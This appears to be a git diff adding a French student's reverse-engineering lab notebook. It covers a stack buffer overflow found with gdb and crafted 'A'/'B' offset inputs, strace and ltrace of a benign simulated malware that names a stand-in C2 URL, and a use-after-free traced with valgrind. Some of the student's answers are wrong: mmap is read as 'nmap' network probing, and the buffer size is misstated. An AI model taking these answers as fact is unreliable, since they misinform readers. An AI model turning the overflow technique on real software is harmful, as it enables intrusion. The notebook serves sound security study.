"sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] diff --git a/Semaine_10/Jour_03/vuln_esdi b/Semaine_10/Jour_03/vuln_esdi new file mode 100644 index 0000000..1d18540 Binary files /dev/null and b/Semaine_10/Jour_03/vuln_esdi differ diff --git a/Semaine_10/Jour_04/Jour_04.md b/Semaine_10/Jour_04/Jour_04.md new file mode 100644 index 0000000..85b61c7 --- /dev/null +++ b/Semaine_10/Jour_04/Jour_04.md @@ -0,0 +1,707 @@ +# Journée en autonomie - Semaine 10, Jour 4 + +## vuln_stack + +```bash +$ objdump -f vuln_stack + +vuln_stack: file format elf64-x86-64 +architecture: i386:x86-64, flags 0x00000112: +EXEC_P, HAS_SYMS, D_PAGED +start address 0x0000000000401050 + +$ checksec --file=vuln_stack +RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified FortifiableFILE +Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 36 Symbols No 0 2 vuln_stack + +$ objdump -d vuln_stack | grep "greet" -A 20 +0000000000401136 : + 401136: 55 push %rbp + 401137: 48 89 e5 mov %rsp,%rbp + 40113a: 48 83 ec 30 sub $0x30,%rsp +``` + +### GDB + +```bash +$ gdb -q ./vuln_stack +Reading symbols from ./vuln_stack... +(No debugging symbols found in ./vuln_stack) +(gdb) info functions +All defined functions: + +Non-debugging symbols: +0x0000000000401000 _init +0x0000000000401030 strcpy@plt +0x0000000000401040 printf@plt +0x0000000000401050 _start +0x0000000000401080 _dl_relocate_static_pie +0x0000000000401090 deregister_tm_clones +0x00000000004010c0 register_tm_clones +0x0000000000401100 __do_global_dtors_aux +0x0000000000401130 frame_dummy +0x0000000000401136 greet +0x0000000000401173 main +0x00000000004011c8 _fini +(gdb) break greet +Breakpoint 1 at 0x40113e +(gdb) run Albathar +Starting program: /home/kali/Jour_04/vuln_stack Albathar +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, 0x000000000040113e in greet () +(gdb) x/20gx $rsp +0x7fffffffdb90: 0x0000007100000017 0x0000000000000000 # Début du buffer +0x7fffffffdba0: 0x0000000000000000 0x0000000000000000 +0x7fffffffdbb0: 0x0000000000000000 0x0000000000000000 +0x7fffffffdbc0: 0x00007fffffffdbe0 0x00000000004011c0 # RBP sauvegardé + Adresse de retour dans main() +0x7fffffffdbd0: 0x00007fffffffdcf8 0x00000002f7fe5990 +0x7fffffffdbe0: 0x00007fffffffdcf8 0x00007ffff7ddef75 +0x7fffffffdbf0: 0x00007ffff7fc7000 0x0000000000401173 +0x7fffffffdc00: 0x00000002ffffdce0 0x00007fffffffdcf8 +0x7fffffffdc10: 0x0000000000000000 0x4e77cf51d0d6cdfe +0x7fffffffdc20: 0x0000000000000002 0x00007ffff7ffd000 +(gdb) run AAAAAAAAAAAAAAAAAA +The program being debugged has been started already. +Start it from the beginning? (y or n) y +Starting program: /home/kali/Jour_04/vuln_stack AAAAAAAAAAAAAAAAAA +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, 0x000000000040113e in greet () +(gdb) x/20gx $rsp +0x7fffffffdb80: 0x0000007100000017 0x0000000000000000 +0x7fffffffdb90: 0x0000000000000000 0x0000000000000000 +0x7fffffffdba0: 0x0000000000000000 0x0000000000000000 +0x7fffffffdbb0: 0x00007fffffffdbd0 0x00000000004011c0 +0x7fffffffdbc0: 0x00007fffffffdce8 0x00000002f7fe5990 +0x7fffffffdbd0: 0x00007fffffffdce8 0x00007ffff7ddef75 +0x7fffffffdbe0: 0x00007ffff7fc7000 0x0000000000401173 +0x7fffffffdbf0: 0x00000002ffffdcd0 0x00007fffffffdce8 +0x7fffffffdc00: 0x0000000000000000 0x43436e0ef6001cad +0x7fffffffdc10: 0x0000000000000002 0x00007ffff7ffd000 + +(gdb) run $(python3 -c "print('A'*56 + 'B'*8)") +Starting program: /home/kali/Jour_04/vuln_stack $(python3 -c "print('A'*56 + 'B'*8)") +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". +Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB! + +Program received signal SIGSEGV, Segmentation fault. +0x0000000000401172 in greet () +(gdb) break greet +Breakpoint 1 at 0x40113e +(gdb) run $(python3 -c "print('A'*56 + 'B'*8)") +The program being debugged has been started already. +Start it from the beginning? (y or n) y +Starting program: /home/kali/Jour_04/vuln_stack $(python3 -c "print('A'*56 + 'B'*8)") +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, 0x000000000040113e in greet () +(gdb) disas greet +Dump of assembler code for function greet: + 0x0000000000401136 <+0>: push %rbp + 0x0000000000401137 <+1>: mov %rsp,%rbp + 0x000000000040113a <+4>: sub $0x30,%rsp +=> 0x000000000040113e <+8>: mov %rdi,-0x28(%rbp) + 0x0000000000401142 <+12>: mov -0x28(%rbp),%rdx + 0x0000000000401146 <+16>: lea -0x20(%rbp),%rax + 0x000000000040114a <+20>: mov %rdx,%rsi + 0x000000000040114d <+23>: mov %rax,%rdi + 0x0000000000401150 <+26>: call 0x401030 # Ce qu'on cherche + 0x0000000000401155 <+31>: lea -0x20(%rbp),%rax # 32 octets de buffer + 0x0000000000401159 <+35>: mov %rax,%rsi + 0x000000000040115c <+38>: lea 0xea1(%rip),%rax # 0x402004 + 0x0000000000401163 <+45>: mov %rax,%rdi + 0x0000000000401166 <+48>: mov $0x0,%eax + 0x000000000040116b <+53>: call 0x401040 + 0x0000000000401170 <+58>: nop + 0x0000000000401171 <+59>: leave + 0x0000000000401172 <+60>: ret +End of assembler dump. + +(gdb) break *0x401155 +Breakpoint 2 at 0x401155 +(gdb) run $(python3 -c "print('A'*40 + 'B'*8)") +The program being debugged has been started already. +Start it from the beginning? (y or n) y +Starting program: /home/kali/Jour_04/vuln_stack $(python3 -c "print('A'*40 + 'B'*8)") +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, 0x000000000040113e in greet () +(gdb) x/20gx $rsp +0x7fffffffdb60: 0x0000007100000017 0x0000000000000000 +0x7fffffffdb70: 0x0000000000000000 0x0000000000000000 +0x7fffffffdb80: 0x0000000000000000 0x0000000000000000 +0x7fffffffdb90: 0x00007fffffffdbb0 0x00000000004011c0 +0x7fffffffdba0: 0x00007fffffffdcc8 0x00000002f7fe5990 +0x7fffffffdbb0: 0x00007fffffffdcc8 0x00007ffff7ddef75 +0x7fffffffdbc0: 0x00007ffff7fc7000 0x0000000000401173 +0x7fffffffdbd0: 0x00000002ffffdcb0 0x00007fffffffdcc8 +0x7fffffffdbe0: 0x0000000000000000 0x382f5965217fbfe6 +0x7fffffffdbf0: 0x0000000000000002 0x00007ffff7ffd000 +(gdb) continue +Continuing. + +Breakpoint 2, 0x0000000000401155 in greet () +(gdb) x/20gx $rsp +0x7fffffffdb60: 0x0000007100000017 0x00007fffffffdfcb +0x7fffffffdb70: 0x4141414141414141 0x4141414141414141 +0x7fffffffdb80: 0x4141414141414141 0x4141414141414141 +0x7fffffffdb90: 0x4141414141414141 0x4242424242424242 +0x7fffffffdba0: 0x00007fffffffdc00 0x00000002f7fe5990 +0x7fffffffdbb0: 0x00007fffffffdcc8 0x00007ffff7ddef75 +0x7fffffffdbc0: 0x00007ffff7fc7000 0x0000000000401173 +0x7fffffffdbd0: 0x00000002ffffdcb0 0x00007fffffffdcc8 +0x7fffffffdbe0: 0x0000000000000000 0x382f5965217fbfe6 +0x7fffffffdbf0: 0x0000000000000002 0x00007ffff7ffd000 +(gdb) continue +Continuing. +Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB! + +Program received signal SIGSEGV, Segmentation fault. +0x0000000000401172 in greet () +``` + +### Questions + +1. Quelle est la taille exacte du buffer déclaré ? Combien d'octets faut-il pour atteindre l'adresse de retour ? + - Le buffer fait 32 octets, comme révélé dans l'instruction `sub $0x20, %rsp` + - Il faut 40 octets pour saturer l'espace => le buffer (32) et 8 octets (RBP sauvegardé). Le retour apparaît au 41ème octet +2. Que se passe-t-il si on passe exactement 33 octets ? 40 ? 100 ? + - 33 octets : buffer rempli, le 33ème octet déborde sur le RBP. `greet()` s'exécute, mais `main()` aura une pile corrompue, pouvant occasionner un crash + - 40 octets : buffer et pile remplis. `strcpy()` ajoute un octet nul à la fin, qui va écraser le premier octet de l'adresse retour, qui sera invalide et renverra une erreur SIGSEGV. + - 100 octets : on écrase TOUT : buffer, pile, adresse de retour, variables, structure de `main()`. Le crash est immédiat et inéluctable. +3. Pourquoi gets() et strcpy() sont-ils considérés comme dangereux ? Quelle fonction utiliser à la place ? + - Fonctions historiques sans paramètre de sécurité passive, qui copient des données sans vérification ni gestion. D'où débordement par éclatement du buffer. + - `strcpy()` se remplace par `strncpy()` en ajoutant l'octet nul final à la main (`\x00`) voire `snprintf()` + - `gets()` se remplace par `fgets()` qui requiert explicitement une taille maximale à ne pas dépasser +4. Comment le canary aurait-il détecté ce débordement ? + # Je comprends que "Canary" prend son nom des canaries de mineurs, qui "meurent" avant de se prendre un coup de grisou + - Le Stack Canary est une protection de pile : + - Au début : Valeur aléatoire secrète générée et placée sur la pile, entre le RBP et les variables + - Pendant : Ecraser l'adresse de retour demanderait d'écraser le Canary + - A la fin : Le programme compare le Canary actuel et la valeur retrouvée après l'injection. En cas de différence, il stoppe tout et renvoie une erreur `*** stack smashing detected ***` avant exécution de la fonction `ret` + +## sample_malware + +```bash +$ objdump -f sample_malware + +sample_malware: file format elf64-x86-64 +architecture: i386:x86-64, flags 0x00000150: +HAS_SYMS, DYNAMIC, D_PAGED +start address 0x00000000000010a0 + +$ objdump -d sample_malware | grep ">:" +0000000000001000 <_init>: +0000000000001020 : +0000000000001030 : +0000000000001040 : +0000000000001050 : +0000000000001060 : +0000000000001070 : +0000000000001080 : +0000000000001090 <__cxa_finalize@plt>: +00000000000010a0 <_start>: +00000000000010d0 : +0000000000001100 : +0000000000001140 <__do_global_dtors_aux>: +0000000000001180 : +0000000000001189 : +00000000000011ae : +0000000000001236 : +0000000000001256
: +00000000000012a0 <_fini>: + +$ checksec --file=sample_malware +RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified FortifiableFILE +Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 47 Symbols No 0 1 sample_malware +``` + +### Vérifications de communications + +```bash +$ strace ./sample_malware +execve("./sample_malware", ["./sample_malware"], 0x7fff7147a250 /* 36 vars */) = 0 +brk(NULL) = 0x5a332bfb8000 +mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x782c9df94000 +access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) +openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 +fstat(3, {st_mode=S_IFREG|0644, st_size=72343, ...}) = 0 +mmap(NULL, 72343, PROT_READ, MAP_PRIVATE, 3, 0) = 0x782c9df82000 +close(3) = 0 +openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\241\2\0\0\0\0\0"..., 832) = 832 +pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 840, 64) = 840 +fstat(3, {st_mode=S_IFREG|0755, st_size=2014472, ...}) = 0 +pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 840, 64) = 840 +mmap(NULL, 2055760, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x782c9dd8c000 +mmap(0x782c9ddb4000, 1474560, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x782c9ddb4000 +mmap(0x782c9df1c000, 339968, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x190000) = 0x782c9df1c000 +mmap(0x782c9df6f000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e3000) = 0x782c9df6f000 +mmap(0x782c9df75000, 52816, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x782c9df75000 +close(3) = 0 +mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x782c9dd89000 +arch_prctl(ARCH_SET_FS, 0x782c9dd89740) = 0 +set_tid_address(0x782c9dd89a10) = 1444 +set_robust_list(0x782c9dd89a20, 24) = 0 +rseq(0x782c9dd89680, 0x20, 0, 0x53053053) = 0 +mprotect(0x782c9df6f000, 16384, PROT_READ) = 0 +mprotect(0x5a33218fd000, 4096, PROT_READ) = 0 +mprotect(0x782c9dfd2000, 8192, PROT_READ) = 0 +prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0 +getrandom("\xd4\x25\xe5\x11\xe9\xd4\x3b\xa3", 8, GRND_NONBLOCK) = 8 +munmap(0x782c9df82000, 72343) = 0 +fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}) = 0 +brk(NULL) = 0x5a332bfb8000 +brk(0x5a332bfd9000) = 0x5a332bfd9000 +write(1, "[malware_demo] Demarrage simulat"..., 36[malware_demo] Demarrage simulation +) = 36 +write(1, "[*] Verification debugger (IsDeb"..., 56[*] Verification debugger (IsDebuggerPresent simule)... +) = 56 +clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, 0x7ffcc966cf10) = 0 +write(1, "[*] Tentative de connexion vers "..., 66[*] Tentative de connexion vers http://evil-c2.example.com/beacon +) = 66 +write(1, "[*] Tentative d'ecriture : /tmp/"..., 48[*] Tentative d'ecriture : /tmp/.hidden_payload +) = 48 +openat(AT_FDCWD, "/tmp/.hidden_payload", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 +fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 +write(3, "ceci est un payload pedagogique "..., 38) = 38 +close(3) = 0 +write(1, "[*] Fichier cree.\n", 18[*] Fichier cree. +) = 18 +write(1, "[malware_demo] Fin simulation\n", 30[malware_demo] Fin simulation +) = 30 +exit_group(0) = ? ++++ exited with 0 +++ +``` + +```bash +$ ltrace ./sample_malware +puts("[malware_demo] Demarrage simulat"...[malware_demo] Demarrage simulation +) = 36 +puts("[*] Verification debugger (IsDeb"...[*] Verification debugger (IsDebuggerPresent simule)... +) = 56 +sleep(1) = 0 +printf("[*] Tentative de connexion vers "...[*] Tentative de connexion vers http://evil-c2.example.com/beacon +) = 66 +printf("[*] Tentative d'ecriture : %s\n", "/tmp/.hidden_payload"[*] Tentative d'ecriture : /tmp/.hidden_payload +) = 48 +fopen("/tmp/.hidden_payload", "w") = 0x567787cc1720 +fwrite("ceci est un payload pedagogique "..., 1, 38, 0x567787cc1720) = 38 +fclose(0x567787cc1720) = 0 +puts("[*] Fichier cree."[*] Fichier cree. +) = 18 +puts("[malware_demo] Fin simulation"[malware_demo] Fin simulation +) = 30 ++++ exited (status 0) +++ + +$ cat /tmp/.hidden_payload +ceci est un payload pedagogique benin +``` + +### GDB + +```bash +$ gdb -q ./sample_malware +Reading symbols from ./sample_malware... +(No debugging symbols found in ./sample_malware) +(gdb) info functions +All defined functions: + +Non-debugging symbols: +0x0000000000001000 _init +0x0000000000001030 puts@plt +0x0000000000001040 fclose@plt +0x0000000000001050 printf@plt +0x0000000000001060 fopen@plt +0x0000000000001070 fwrite@plt +0x0000000000001080 sleep@plt +0x0000000000001090 __cxa_finalize@plt +0x00000000000010a0 _start +0x00000000000010d0 deregister_tm_clones +0x0000000000001100 register_tm_clones +0x0000000000001140 __do_global_dtors_aux +0x0000000000001180 frame_dummy +0x0000000000001189 fake_network +0x00000000000011ae fake_persistence +0x0000000000001236 fake_evasion +0x0000000000001256 main +0x00000000000012a0 _fini +``` + +### Questions + +1. Quels sont les 3 IoCs les plus évidents trouvés avec strings ? + - http://evil-c2.example.com/beacon + - HKLM\Software\Microsoft\Windows\CurrentVersion\Run + - /tmp/.hidden_payload +2. strace montre-t-il un appel connect() réseau ? Pourquoi ? + - On voit de multiples "nmap" effectués. Les prints vers le faux site ne comptent pas. Il cherche certainement à sonder le réseau local pour s'étendre +3. Le fichier /tmp/.hidden_payload est-il visible avec ls /tmp/ ? Avec ls -la /tmp/ ? + - Non, le . de départ le met comme fichier caché. LS par défaut ne l'affichera pas + - Oui, avec le `-a`. marche aussi avec le `-A`. +4. Comment un vrai malware rendrait-il ces strings moins détectables ? (XOR, base64, chiffrement) + - Un encodage en base64 se décoderait assez vite. le mieux est d'utiliser un chiffrement avec une clef obfusquée, soit qui récupère une variable sur le PC dans le poule entropique (mais qu'on peut retracer quand on a la nanoseconde d'exécution locale) soit pré-enregistrée et chiffrée dans le code, mais son mode statique rend la clef crackable "dans l'absolu" +5. Quelle différence entre analyse statique et analyse dynamique pour ce binaire ? + - La statique va analyser les fonctions, les adresses, les pointeurs etc + - Le dynamique va le faire tourner et vérifier les actions de sortie + +## uaf_demo +[text](about:blank#blocked) +```bash +$ objdump -f uaf_demo + +uaf_demo: file format elf64-x86-64 +architecture: i386:x86-64, flags 0x00000150: +HAS_SYMS, DYNAMIC, D_PAGED +start address 0x0000000000001070 + +$ objdump -d uaf_demo | grep ">:" +0000000000001000 <_init>: +0000000000001020 : +0000000000001030 : +0000000000001040 : +0000000000001050 : +0000000000001060 <__cxa_finalize@plt>: +0000000000001070 <_start>: +00000000000010a0 : +00000000000010d0 : +0000000000001110 <__do_global_dtors_aux>: +0000000000001150 : +0000000000001159
: +0000000000001218 <_fini>: + +$ objdump -d uaf_demo | grep ": + 1020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8> + 1026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10> + 102c: 0f 1f 40 00 nopl 0x0(%rax) + +0000000000001030 : + 1030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 4000 + 1036: 68 00 00 00 00 push $0x0 + 103b: e9 e0 ff ff ff jmp 1020 <_init+0x20> + +0000000000001040 : + 1040: ff 25 c2 2f 00 00 jmp *0x2fc2(%rip) # 4008 + 1046: 68 01 00 00 00 push $0x1 + 104b: e9 d0 ff ff ff jmp 1020 <_init+0x20> +``` + +### valgrind + +```bash +$ ./uaf_demo +Avant free : donnees sensibles +Apres free : _p�, +Apres reutilisation : ecrasement UAF + +$ ./uaf_demo +Avant free : donnees sensibles +Apres free : �/�� +Apres reutilisation : ecrasement UAF + +$ valgrind --leak-check=full ./uaf_demo +==1869== Memcheck, a memory error detector +==1869== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al. +==1869== Using Valgrind-3.25.1 and LibVEX; rerun with -h for copyright info +==1869== Command: ./uaf_demo +==1869== +Avant free : donnees sensibles +==1869== Invalid read of size 1 +==1869== at 0x4852CE6: strlen (vg_replace_strmem.c:506) +==1869== by 0x48D7ACF: __printf_buffer (vfprintf-process-arg.c:443) +==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543) +==1869== by 0x48CD26A: printf (printf.c:33) +==1869== by 0x40011D5: main (uaf_demo.c:11) +==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +==1869== Invalid read of size 1 +==1869== at 0x4852CF4: strlen (vg_replace_strmem.c:506) +==1869== by 0x48D7ACF: __printf_buffer (vfprintf-process-arg.c:443) +==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543) +==1869== by 0x48CD26A: printf (printf.c:33) +==1869== by 0x40011D5: main (uaf_demo.c:11) +==1869== Address 0x4a6b041 is 1 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +==1869== Invalid read of size 1 +==1869== at 0x4857730: memmove (vg_replace_strmem.c:1415) +==1869== by 0x48CDBF7: memcpy (string_fortified.h:29) +==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39) +==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471) +==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543) +==1869== by 0x48CD26A: printf (printf.c:33) +==1869== by 0x40011D5: main (uaf_demo.c:11) +==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +==1869== Invalid read of size 1 +==1869== at 0x485773D: memmove (vg_replace_strmem.c:1415) +==1869== by 0x48CDBF7: memcpy (string_fortified.h:29) +==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39) +==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471) +==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543) +==1869== by 0x48CD26A: printf (printf.c:33) +==1869== by 0x40011D5: main (uaf_demo.c:11) +==1869== Address 0x4a6b042 is 2 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +Apres free : donnees sensibles +==1869== Invalid write of size 8 +==1869== at 0x40011E4: main (uaf_demo.c:12) +==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +==1869== Invalid write of size 8 +==1869== at 0x40011F1: main (uaf_demo.c:12) +==1869== Address 0x4a6b047 is 7 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +==1869== Invalid read of size 2 +==1869== at 0x4857700: memmove (vg_replace_strmem.c:1415) +==1869== by 0x48CDBF7: memcpy (string_fortified.h:29) +==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39) +==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471) +==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543) +==1869== by 0x48CD26A: printf (printf.c:33) +==1869== by 0x400120F: main (uaf_demo.c:13) +==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +==1869== Invalid read of size 2 +==1869== at 0x485770F: memmove (vg_replace_strmem.c:1415) +==1869== by 0x48CDBF7: memcpy (string_fortified.h:29) +==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39) +==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471) +==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543) +==1869== by 0x48CD26A: printf (printf.c:33) +==1869== by 0x400120F: main (uaf_demo.c:13) +==1869== Address 0x4a6b044 is 4 bytes inside a block of size 64 free'd +==1869== at 0x484C87F: free (vg_replace_malloc.c:989) +==1869== by 0x40011BA: main (uaf_demo.c:9) +==1869== Block was alloc'd at +==1869== at 0x4849818: malloc (vg_replace_malloc.c:446) +==1869== by 0x400116A: main (uaf_demo.c:6) +==1869== +Apres reutilisation : ecrasement UAF +==1869== +==1869== HEAP SUMMARY: +==1869== in use at exit: 0 bytes in 0 blocks +==1869== total heap usage: 2 allocs, 2 frees, 1,088 bytes allocated +==1869== +==1869== All heap blocks were freed -- no leaks are possible +==1869== +==1869== For lists of detected and suppressed errors, rerun with: -s +==1869== ERROR SUMMARY: 59 errors from 8 contexts (suppressed: 0 from 0) +``` + +### GDB + +```bash +$ gdb -q ./uaf_demo +Reading symbols from ./uaf_demo... +(gdb) break main +Breakpoint 1 at 0x1161: file uaf_demo.c, line 6. +(gdb) run +Starting program: /home/kali/Jour_04/uaf_demo +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, main () at uaf_demo.c:6 +⚠️ warning: 6 uaf_demo.c: No such file or directory 